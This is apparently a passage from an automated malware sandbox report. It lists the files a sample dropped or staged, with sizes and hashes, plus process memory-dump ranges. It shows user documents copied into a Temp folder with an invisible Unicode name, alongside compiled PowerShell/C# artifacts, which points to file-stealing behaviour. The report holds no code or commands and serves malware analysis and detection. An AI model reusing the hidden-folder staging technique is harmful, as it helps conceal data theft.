                                                        dcea8380f7c7a38cc827bd685cd76ac4d3dc2635f42675f5afaa8ab9e07fb72fc5f6e6fc246bb82f88bf8459caa09f4a0dd6c0d145e245986cfd15d0a49d1c59

                                                        Download Submit

                                                      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5vqed1ee.e3m.ps1
                                                        Filesize

                                                        60B

                                                        MD5

                                                        d17fe0a3f47be24a6453e9ef58c94641

                                                        SHA1

                                                        6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                        SHA256

                                                        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                        SHA512

                                                        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                        Download Submit

                                                      • C:\Users\Admin\AppData\Local\Temp\rzb03iet\rzb03iet.dll
                                                        Filesize

                                                        4KB

                                                        MD5

                                                        571423e8a1979da456b31ae9d78e5324

                                                        SHA1

                                                        f91818afc42a25b62c91ef490f535af340173a36

                                                        SHA256

                                                        a7524c87e6c600a5da55bd8b0d87ae05d8f429e9203f14ae80405436df8896e3

                                                        SHA512

                                                        6c2ae2025a7a829105d1a503bba63bab60c512a64c6cc46d2ca5ca0f6eece83939f8b1296ce9e384fc40b3c7d2146513e3f9889e816725671c0ec0e4aa6eb565

                                                        Download Submit

                                                      • C:\Users\Admin\AppData\Local\Temp\  ‏‎  ‌   \Common Files\Desktop\FindBlock.txt
                                                        Filesize

                                                        529KB

                                                        MD5

                                                        de26c649abc3093ed255c95b5c2abe44

                                                        SHA1

                                                        30b024b28249444da224c70b0453b008e6a4b64a

                                                        SHA256

                                                        14483b1db279b3f933b79d76fc33651ecdef3446ff6a47f64dab03e09d4457f9

                                                        SHA512

                                                        3132bc29e506663c1347102a25095f9185b1f23161680da8aa92d1c5c2ada4a4d529582a663c6a9596a1ed45917846ae06a050746874c662cf80efc46362971a

                                                        Download Submit

                                                      • C:\Users\Admin\AppData\Local\Temp\  ‏‎  ‌   \Common Files\Desktop\GroupSend.docx
                                                        Filesize

                                                        20KB

                                                        MD5

                                                        774c09551a7db14b5910602b4bd52575

                                                        SHA1

                                                        0d87cb6846d4057eff381472db667e0395e98b1b

                                                        SHA256

                                                        42bef4cf9f81c48036d58b37c5f59bea9038f361f2807716004dd5c1d1c1ec3b

                                                        SHA512

                                                        302b1f7af79182b4139f10f61e01cffbb7a116c1dd35708ab9308b183fe726b042d2fd081dd9ee022eec9c44f696746eaa885d08ee02fb7fb6cd53d74c89a560

                                                        Download Submit

                                                      • C:\Users\Admin\AppData\Local\Temp\  ‏‎  ‌   \Common Files\Desktop\JoinGroup.pdf
                                                        Filesize

                                                        253KB

                                                        MD5

                                                        4b7386bb792356305b9009d791dd5c45

                                                        SHA1

                                                        2f013913e067bf1a10036a0b3d66c21671667139

                                                        SHA256

                                                        5a0ecf10b4c109a230458e3c792bbba8bc3374b6dfc0d5be1ddfdc13475dbe49

                                                        SHA512

                                                        678e5639ad13d0d898a715ca62d47c54a7e4b0e0886a1c6a27bb04add9138fd99a9a2c25a8740a675e3badff17ddd448cba79a9820c133db934aeea554367d31

                                                        Download Submit

                                                      • C:\Users\Admin\AppData\Local\Temp\  ‏‎  ‌   \Common Files\Desktop\SwitchResume.docx
                                                        Filesize

                                                        14KB

                                                        MD5

                                                        97bf84430ed7e41c40039f39a5ae0fd1

                                                        SHA1

                                                        1c2f9d9d5480a41d3b265dc3f75e8efc03fb3a88

                                                        SHA256

                                                        43c39f7e326ae80bf5c0cbc5a120db871e888c3fe13bddf225b9ba201ca782cb

                                                        SHA512

                                                        b3952112937db5453c7ee867ab9b4b94ff13eb5e90964f5bece3c26940ddaaa1435e33a1a0c4fa948135dac86f9fecc4e75b334d05caa6595ffca7a099c51a53

                                                        Download Submit

                                                      • C:\Users\Admin\AppData\Local\Temp\  ‏‎  ‌   \Common Files\Documents\MoveRestore.docx
                                                        Filesize

                                                        17KB

                                                        MD5

                                                        ddd71e37ca715ede2981dc10aea34dcb

                                                        SHA1

                                                        efba056530acec3f5c3e167b494402fc94968bf2

                                                        SHA256

                                                        c5048f4aec694185cdb13c09a2cbff9b63888f2ffb05d87bf482dab0a288ae2b

                                                        SHA512

                                                        70d9d832e6dcdf194b6153ab1a0a712df20d4ae7503470c332af67e55874e818e17c3f468ddf05cf41dc4e4f6ac01cc8aea57e86420ad436d0132f73b599518e

                                                        Download Submit

                                                      • C:\Users\Admin\AppData\Local\Temp\  ‏‎  ‌   \Common Files\Documents\OptimizeOut.xls
                                                        Filesize

                                                        921KB

                                                        MD5

                                                        0c6d77af2025d0a8f38f1e6a9fc07efe

                                                        SHA1

                                                        04dcd49c9fadd51f284790e2dfbd3bb7f3863d60

                                                        SHA256

                                                        eca53874f1a2465a56d9d806462377a0653c7496aa8b27573e34af4307222d24

                                                        SHA512

                                                        97e57455b0f8adefc14f7f2c3bd6d0c9b18977a02f0b5ddd4fa8442bc1b4ba67902d4a299009ba6b338527e690e6fb60901ff831fd74eb8a33583ab89397ab5c

                                                        Download Submit

                                                      • C:\Users\Admin\AppData\Local\Temp\  ‏‎  ‌   \Common Files\Documents\UninstallStep.xls
                                                        Filesize

                                                        1.8MB

                                                        MD5

                                                        e252ec8371def9a24d3f561885adee31

                                                        SHA1

                                                        c363c3c007d957c64f7436c679cf5b2bb80b0e8c

                                                        SHA256

                                                        9c4800248ed714795f9669e702d2fa99c5f803cc98cc61000f448131b423cd75

                                                        SHA512

                                                        d171946d752a33fb74c3431be21d9a04a1ab86c8d1532e84c2df1ebc5b75c3816c4c57601c7568fc664b603fdb95913f2bcffdf03aeb1dd93ac4548ecedc2d95

                                                        Download Submit

                                                      • C:\Users\Admin\AppData\Local\Temp\  ‏‎  ‌   \Common Files\Documents\UnpublishGrant.xlsx
                                                        Filesize

                                                        9KB

                                                        MD5

                                                        a4981b5cd3e2cc7f17ce1c1115066a7b

                                                        SHA1

                                                        b3fef2804252e5d92a1ed1a2d73394b6e6809bb7

                                                        SHA256

                                                        b4e68492227fa8e7843e6f1bf6efbd9dcf8613b1b0b70e63fd834123c0168511

                                                        SHA512

                                                        27e64dc82c6e100be97662785cf077673cdd52125cec56995de63a970262df28cdd8b8b317cd91970fae41dbc8442bda81c1e8c53bbb0503792166a9a4771831

                                                        Download Submit

                                                      • C:\Users\Admin\AppData\Local\Temp\  ‏‎  ‌   \Common Files\Documents\UnpublishMove.xlsx
                                                        Filesize

                                                        9KB

                                                        MD5

                                                        4194879ac0568e1b5be059648c6abe23

                                                        SHA1

                                                        164eb22907c015561556016abb6bcadf22608ebc

                                                        SHA256

                                                        4757f6c7527cd84a8a0617c78b499e34ef6d9439f4e05071b84c2e0be7ca9e82

                                                        SHA512

                                                        69fd5c27a4792af1a4ba4fb61dd02e85d8f508b34f7143c5ce4b3a06aca695075d3cc0ffb61f76310ff347563b5db7bc99f18690ca59df57fbbaf81086479900

                                                        Download Submit

                                                      • C:\Users\Admin\AppData\Local\Temp\  ‏‎  ‌   \Common Files\Downloads\BackupUpdate.jpe
                                                        Filesize

                                                        305KB

                                                        MD5

                                                        1755bde94c0892c4203812456602ccb5

                                                        SHA1

                                                        2c61d391cac8ce9a04d8cb9fab3414fde9868bf4

                                                        SHA256

                                                        40b7c891b0d4ae5df9976ec0c6faa74c96930fbb4e1ce198e5971b1b8a6f617e

                                                        SHA512

                                                        89d4f7f49594d8bbd02972df7554fac9228a637320828edb25a45efb15378fc1153a7ce7bb66b9c11c461aea5e1b536f2d227760fa8d3aff5a0e60839c57c183

                                                        Download Submit

                                                      • C:\Users\Admin\AppData\Local\Temp\  ‏‎  ‌   \Common Files\Downloads\MoveEnter.pdf
                                                        Filesize

                                                        313KB

                                                        MD5

                                                        e2e78fd50a62fe075bbf8e4d52a3e05b

                                                        SHA1

                                                        375bcef8e887ddd087682b11a6317506f4bba9c5

                                                        SHA256

                                                        dc7c9bf5fa586fb4a02d107a58b63582ac82e2dac7c5b8f962948456e79a8ad1

                                                        SHA512

                                                        ab386d2c6f9808e25c60e82a0db79d6dc8fcf8be722251080338f8c3e9636a6b16c010fa914a33111ad9ad61d50ee8efa74daafbf9e7fcf29011c771feca5729

                                                        Download Submit

                                                      • C:\Users\Admin\AppData\Local\Temp\  ‏‎  ‌   \Common Files\Downloads\NewBackup.odt
                                                        Filesize

                                                        413KB

                                                        MD5

                                                        3fd5b682286a6ec109b3936b251ee98e

                                                        SHA1

                                                        5a0746936f0000c4d87b4132eb3cc79b8d7b445a

                                                        SHA256

                                                        f6436f78d8e07fc7bb3f6efedc54896cae3e5d26fb824352ce2a71048a05d1d6

                                                        SHA512

                                                        41853da9ead6408530a20b319c26deccc936638b31e6fa58499aacf97223943e0456265ff6aa6421313a9702f2d4375be1438a11f3d39c857d09fcd8e8d9df4d

                                                        Download Submit

                                                      • C:\Users\Admin\AppData\Local\Temp\  ‏‎  ‌   \Common Files\Downloads\NewOpen.docx
                                                        Filesize

                                                        422KB

                                                        MD5

                                                        603f4623d101993b1fa3314477dba4bc

                                                        SHA1

                                                        bc46cc22bf54bf140260fdcec75c060a1ddf8018

                                                        SHA256

                                                        6b5d477adb2fb8de3adf4d94682a72940f4578bd7f8f213ad7b9f9f979669428

                                                        SHA512

                                                        6123bb5131ae693ae621c601396d4842316f384054b50db3c72658cf542b36a20b9722b1a67dc9263d22d7a26a63c7798234c1abd01b6244e63ca66b785d7779

                                                        Download Submit

                                                      • \??\c:\Users\Admin\AppData\Local\Temp\rzb03iet\CSC5FCC261B59A44859989EA9E86A3BFE44.TMP
                                                        Filesize

                                                        652B

                                                        MD5

                                                        fe5de360cdaa2afa17e5d63e6bb1d5eb

                                                        SHA1

                                                        23895e9f071b6a56fbf72772246e84a05d765e73

                                                        SHA256

                                                        c104f499030acb031a814d13c804157e612330407f985d2eaddbd8422e057122

                                                        SHA512

                                                        d58e53f550a9767499b67330240e6eb52e8df4664dfc2ed121ab8f0000c6b17e617e147c858e64c1c4bcafe8f6ed2cfe772bc9a84708aed0c06b2cd9ebc656ce

                                                        Download Submit

                                                      • \??\c:\Users\Admin\AppData\Local\Temp\rzb03iet\rzb03iet.0.cs
                                                        Filesize

                                                        1004B

                                                        MD5

                                                        c76055a0388b713a1eabe16130684dc3

                                                        SHA1

                                                        ee11e84cf41d8a43340f7102e17660072906c402

                                                        SHA256

                                                        8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

                                                        SHA512

                                                        22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

                                                        Download Submit

                                                      • \??\c:\Users\Admin\AppData\Local\Temp\rzb03iet\rzb03iet.cmdline
                                                        Filesize

                                                        607B

                                                        MD5

                                                        e5c1bc480b2280d06ba6917d5fb99429

                                                        SHA1

                                                        765188c069e06528f975e7d6c621c90a9c1526df

                                                        SHA256

                                                        ec3ff1b7f6ba3e68ac756eabdec1f227a43ae6fec60fe7d51f6b4024bb09d35a

                                                        SHA512

                                                        954a7f5096b49ed55cf4b9b121abffb7bd391638b3f2131401fecd5896c5121fa9fdedad9371d0b0fdf2d04599d7645c2a2f9e07b948a7f3bbded22e91af6fd7

                                                        Download Submit

                                                      • memory/1180-58-0x00007FF820A30000-0x00007FF820A55000-memory.dmp

                                                        Filesize

                                                        148KB

                                                        Download

                                                      • memory/1180-76-0x00007FF81C0B0000-0x00007FF81C0C4000-memory.dmp

                                                        Filesize

                                                        80KB

                                                        Download

                                                      • memory/1180-47-0x00007FF820C30000-0x00007FF820C57000-memory.dmp

                                                        Filesize

                                                        156KB

                                                        Download

                                                      • memory/1180-48-0x00007FF825850000-0x00007FF82585F000-memory.dmp

                                                        Filesize

                                                        60KB

                                                        Download

                                                      • memory/1180-115-0x00007FF820A30000-0x00007FF820A55000-memory.dmp

                                                        Filesize

                                                        148KB

                                                        Download

                                                      • memory/1180-25-0x00007FF80CD90000-0x00007FF80D3F4000-memory.dmp

                                                        Filesize

                                                        6.4MB

                                                        Download

                                                      • memory/1180-52-0x00007FF820BC0000-0x00007FF820BEB000-memory.dmp

                                                        Filesize

                                                        172KB

                                                        Download

                                                      • memory/1180-50-0x00007FF823C00000-0x00007FF823C19000-memory.dmp

                                                        Filesize

                                                        100KB

                                                        Download

                                                      • memory/1180-303-0x00007FF81F430000-0x00007FF81F463000-memory.dmp

                                                        Filesize

                                                        204KB

                                                        Download

                                                      • memory/1180-305-0x00007FF81F340000-0x00007FF81F40E000-memory.dmp

                                                        Filesize

                                                        824KB

                                                        Download

                                                      • memory/1180-306-0x0000023F3E8D0000-0x0000023F3EE03000-memory.dmp

                                                        Filesize

                                                        5.2MB

                                                        Download

                                                      • memory/1180-64-0x00007FF824DC0000-0x00007FF824DCD000-memory.dmp

                                                        Filesize

                                                        52KB

                                                        Download

                                                      • memory/1180-60-0x00007FF81BB20000-0x00007FF81BC9F000-memory.dmp

                                                        Filesize

                                                        1.5MB

                                                        Download

                                                      • memory/1180-359-0x00007FF80CD90000-0x00007FF80D3F4000-memory.dmp

                                                        Filesize

                                                        6.4MB

                                                        Download

                                                      • memory/1180-62-0x00007FF821FF0000-0x00007FF822009000-memory.dmp

                                                        Filesize

                                                        100KB

                                                        Download

                                                      • memory/1180-83-0x00007FF80C5D0000-0x00007FF80C683000-memory.dmp

                                                        Filesize

                                                        716KB

                                                        Download

                                                      • memory/1180-78-0x00007FF821F10000-0x00007FF821F1D000-memory.dmp

                                                        Filesize

                                                        52KB

                                                        Download

                                                      • memory/1180-121-0x00007FF81BB20000-0x00007FF81BC9F000-memory.dmp

                                                        Filesize

                                                        1.5MB

                                                        Download

                                                      • memory/1180-74-0x00007FF80C850000-0x00007FF80CD83000-memory.dmp

                                                        Filesize

                                                        5.2MB

                                                        Download

                                                      • memory/1180-71-0x00007FF820C30000-0x00007FF820C57000-memory.dmp

                                                        Filesize

                                                        156KB

                                                        Download

                                                      • memory/1180-73-0x0000023F3E8D0000-0x0000023F3EE03000-memory.dmp

                                                        Filesize

                                                        5.2MB

                                                        Download

                                                      • memory/1180-72-0x00007FF81F340000-0x00007FF81F40E000-memory.dmp

                                                        Filesize

                                                        824KB

                                                        Download

                                                      • memory/1180-70-0x00007FF80CD90000-0x00007FF80D3F4000-memory.dmp

                                                        Filesize

                                                        6.4MB

                                                        Download

                                                      • memory/1180-66-0x00007FF81F430000-0x00007FF81F463000-memory.dmp

                                                        Filesize

                                                        204KB

                                                        Download

                                                      • memory/1180-322-0x00007FF80C850000-0x00007FF80CD83000-memory.dmp

                                                        Filesize

                                                        5.2MB

                                                        Download

                                                      • memory/1180-358-0x00007FF80C5D0000-0x00007FF80C683000-memory.dmp

                                                        Filesize

                                                        716KB

                                                        Download

                                                      • memory/1180-350-0x00007FF81BB20000-0x00007FF81BC9F000-memory.dmp

                                                        Filesize

                                                        1.5MB

                                                        Download

                                                      • memory/1180-344-0x00007FF80CD90000-0x00007FF80D3F4000-memory.dmp

                                                        Filesize

                                                        6.4MB

                                                        Download

                                                      • memory/1604-244-0x00000163748A0000-0x00000163748A8000-memory.dmp

                                                        Filesize

                                                        32KB

                                                        Download

                                                      • memory/4184-564-0x0000025366EB0000-0x0000025366EB8000-memory.dmp

                                                        Filesize

                                                        32KB

                                                        Download

                                                      • memory/4184-563-0x0000025366E80000-0x0000025366E8A000-memory.dmp

                                                        Filesize

                                                        40KB

                                                        Download

                                                      • memory/4184-562-0x000002534C970000-0x000002534C97E000-memory.dmp

                                                        Filesize

                                                        56KB

                                                        Download

                                                      • memory/4184-565-0x0000025368200000-0x0000025368449000-memory.dmp

                                                        Filesize

                                                        2.3MB

                                                        Download

                                                      • memory/4380-89-0x000002506FBB0000-0x000002506FBD2000-memory.dmp

                                                        Filesize

                                                        136KB

                                                        Download